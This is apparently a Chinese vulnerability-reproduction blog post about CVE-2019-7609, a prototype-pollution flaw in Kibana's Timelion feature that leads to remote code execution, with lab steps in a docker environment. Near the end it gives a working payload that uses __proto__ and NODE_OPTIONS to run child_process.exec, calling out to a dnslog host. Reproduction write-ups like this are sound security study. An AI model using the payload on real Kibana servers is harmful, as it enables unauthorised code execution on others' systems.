kibana 代码执行（CVE-2019-7609）

最新推荐文章于 2024-08-19 09:55:02 发布

bigdogeggs

最新推荐文章于 2024-08-19 09:55:02 发布

阅读量966

点赞数

分类专栏：漏洞复现文章标签： kibana java web安全

本文链接：https://blog.csdn.net/qq_40646572/article/details/130670217

版权

漏洞复现专栏收录该内容

14 篇文章 2 订阅

订阅专栏

漏洞原理

“原型污染”是一种针对JS语言开发的攻击方法。JS语言中，每一个对象都是有其原型（proto）的，而该原型又有其自己的原型对象，直到某个对象的原型为null。而如果JS对其中定义的对象原型的属性读写缺乏控制，容易让攻击者操纵一些敏感特征，从而实现攻击者的目的。
该漏洞就是是一个由于JS语言的“原型污染”，导致靶机环境量被污染，最终获得shell执行的漏洞。

漏洞影响范围

5.6.15<=Kibana<=6.6.1

漏洞复现过程

启动docker环境。
在这里插入图片描述
打开对应的kibana服务页面。

点击Timelion功能，修改其中的下方图片中红线标记的内容。

修改内容并点击右三角符号进行应用。然后点击Canvas即可触发payload。
在这里插入图片描述

成功触发payload在/tmp目录下生成t.txt文件。

在这里插入图片描述

payload:
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("ping    6b7s7k.dnslog.cn  -c 3");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

在这里插入图片描述